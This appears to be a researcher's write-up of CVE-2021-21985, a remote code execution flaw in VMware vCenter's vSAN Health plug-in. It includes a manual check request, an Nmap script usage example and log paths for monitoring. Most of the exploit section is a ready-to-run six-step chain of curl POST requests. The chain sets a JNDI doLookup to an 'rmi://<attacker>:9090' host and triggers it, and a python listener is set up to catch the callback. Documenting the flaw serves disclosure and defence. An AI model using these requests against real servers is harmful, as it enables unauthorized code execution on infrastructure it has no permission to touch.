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May 29, 2021

CVE-2021-21985 (Vulnerable Code)

06_test_class_method

CLASS/METHOD(s) available, a little sample for PoC purposes: com.vmware.vsan.client.services.capability.VsanCapabilityProvider

[../snip]
getClusterCapabilityData
getHostCapabilityData
getHostsCapabilitiyData
getIsDeduplicationSupported
getIsEncryptionSupported
getIsLocalDataProtectionSupportedOnVc
getIsLocalDataProtectionSupportedOnCluster
getIsRemoteDataProtectionSupported
getIsObjectIdentitiesSupportedOnCluster
getIsHistoricalCapacitySupported
getIsPerfVerboseModeSupported
getIsPerfNetworkDiagnosticModeSupported
getIsPerfDiagnosticsFeedbackSupportedOnVc
getIsAdvancedClusterSettingsSupported
getIsRecreateDiskGroupSupported
getIsPurgeInaccessibleVmSwapObjectsSupported
getIsUpdateVumReleaseCatalogOfflineSupported
getIsVitOnlineResizeSupported
getIsImprovedCapacityMonitoringSupportedOnVc
getIsVmLevelCapacityMonitoringSupported
getIsWhatIfCapacitySupported
getIsHostReservedCapacitySupported
getIsUnmountWithMaintenanceModeSupported
getIsEvacuationStatusSupportedOnCluster
...
...
[../snip]

CVE-2021-21985 (PoC)

The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.

This manual inspec looks the existence of CVE-2021-21985 based on CLASS/METHOD(s) available by default on vCenter e.g. "/ui/h5-vsan/rest/*" sending a POST request and looking in response body (200) JSON data.

Manual inspection:

# curl -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'

03_curl

PoC Exploit Released (1)

Credits: https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

Steps to reproduce:

Start your python server to receive the connection from targeted system (vCenter) e.g

# python3 -m http.server 9090

Step 1: set TargetObject to null

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
{“methodInput”:[null]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'

Step 2: setStaticMethod to payload

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
{“methodInput”:[“javax.naming.InitialContext.doLookup”]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[\"javax.naming.InitialContext.doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'

Step 3: setTargetMethod to doLookup

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
{“methodInput”:[“doLookup”]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'\x0d\x0a{\"methodInput\":[\"doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'

Step 4: setArguments with payload args

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
{“methodInput”:[["rmi://attacker:9090/alex666"]]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[[\"rmi://<attacker>:9090/alex666\"]]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'

Step 5: initial payload class and methods

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
{“methodInput”:[]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'

Step 6: trigger method invoke, after thiis POST await some seconds and see your pytthon server log

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
{“methodInput”:[]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'

exploit_01

References:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis

CVE-2021-21985 (NSE checker)

This script looks the existence of CVE-2021-21985 based on CLASS/METHOD(s) available by default on vCenter e.g. "/ui/h5-vsan/rest/*" sending a POST request and looking in response body (200) JSON data.

Usage

# nmap -p443 --script CVE-2021-21985.nse <target>

Output

---
-- @usage
-- nmap -p443 --script CVE-2021-21985.nse <target>
-- @output
-- PORT    STATE SERVICE
-- 443/tcp open  https
-- | CVE-2021-21985: 
-- |   VULNERABLE:
-- |   vCenter 6.5-7.0 RCE
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2021-21985
-- |       The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input 
-- |       validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.
-- |     Disclosure date: 2021-05-28
-- |     References:
-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985

CVE-2021-21985

vCenter vSAN Health (console logs)

PATH logs vCenter

# /var/log/vmware/vsan-health/

03_vSAN-health

vSphere Client (console logs)

Monitoring the attacks

# tail -f /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log

04_monitoring

Author

Alex Hernandez aka (@_alt3kx_)

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